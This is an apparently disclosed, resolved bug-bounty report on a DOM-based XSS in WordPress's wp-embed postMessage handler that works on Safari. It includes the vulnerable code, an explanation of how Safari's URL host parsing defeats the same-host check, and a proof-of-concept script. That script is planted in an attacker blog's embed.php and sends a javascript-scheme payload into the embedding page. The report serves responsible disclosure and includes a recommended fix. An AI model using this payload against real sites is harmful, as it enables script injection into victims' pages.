wp-embed XSS on Safari
Medium
W
WordPress
Submitted None
Actions:
Reported by
zoczus
Vulnerability Details
Technical details and impact analysis
Hello! I'd like to report an XSS vulberability which works only on Safari browser (and maybe on others which I didn't checked. It defo doesn't work on both Chrome and Firefox). The other requirement which need to be met is attacker's blog post being embed on destination (victim) blog.
## Analysis
Let's take a look to the core of problem - JavaScript postMessage handler:
```javascript
if (c.wp.receiveEmbedMessage = function(e) {
var t = e.data;
if (t)
if (t.secret || t.message || t.value)
if (!/[^a-zA-Z0-9]/.test(t.secret)) {
for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
n[o].style.display = "none";
for (o = 0; o < s.length; o++)
if (r = s[o],
e.source === r.contentWindow) {
if (r.removeAttribute("style"),
"height" === t.message) {
if (1e3 < (i = parseInt(t.value, 10)))
i = 1e3;
else if (~~i < 200)
i = 200;
r.height = i
}
if ("link" === t.message)
if (a = d.createElement("a"),
i = d.createElement("a"),
a.href = r.getAttribute("src"),
i.href = t.value,
i.host === a.host)
if (d.activeElement === r)
c.top.location.href = t.value
}
}
}
```
Things need to be noticed:
- Secret need to be known (but it's provided as location.hash of embed webpage, so it's not a problem)
- Only content window can send postMessages (which is cool, as it's attacker website)
- If **message** attribute of postMessage data has `link` value - crazy things are happening
- most important ```c.top.location.href = t.value``` where `t` is postMessage data controlled by attacker.
The last point obviously can lead to XSS if attacker will use ```blocked:alert(document.domain)``` as `t.value`, however - before it happen important check is made:
```javascript
if (a = d.createElement("a"),
i = d.createElement("a"),
a.href = r.getAttribute("src"),
i.href = t.value,
i.host === a.host)
```
This code checks if **hostname** provided in ```t.value``` is the same as **hostname** of embed page. It create `<a>` element, but `t.value` as `href` attribute and then - takes `host` attribute of created URL. This approach is of course way better than some regexp magic ;-) but there's a behavior specific in Safari browser:
```
> var a = document.createElement("a")
> a.href="blocked://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com
```
All other browsers return empty string in case of using `blocked:` scheme, but not Safari. :) This could lead attacker to use `javascript` schema and execute javascript code in top window (victim's blog)
## Steps To Reproduce:
1. Get evil wordpress instance ;-)
2. Edit `wordpress/wp-includes/theme-compat/embed.php` file and add your custom HTML code:
```html
<script>
if(document.location.hash.indexOf("secret") != -1) {
secret = document.location.hash.split("=")[1];
window.top.postMessage({"secret":secret,"message":"link","value":"blocked://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>
```
3. Create any post on attacker blog, publish it and get it's URL.
4. On victim wordpress site (Safari) add new post with embed post from victim wordpress
5. Alert executed. :)
Sample blogpost that can be embedded: `https://ropchain.org/lab/wordpress/2021/06/20/embed-me/`
## Recommendations
It's recommended to also validate schema of links and allow only HTTP / HTTPS links in postMessages.
## Impact
Ability to execute JavaScript code on wordpress page which embeded attacker's blogpost.
Please assign CVE identifier to this vulnerability. While crediting it, please use:
*Jakub Żoczek, Senior Security Researcher @ Securitum [https://securitum.pl/](https://securitum.pl/)*
All the best!
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-site Scripting (XSS) - DOM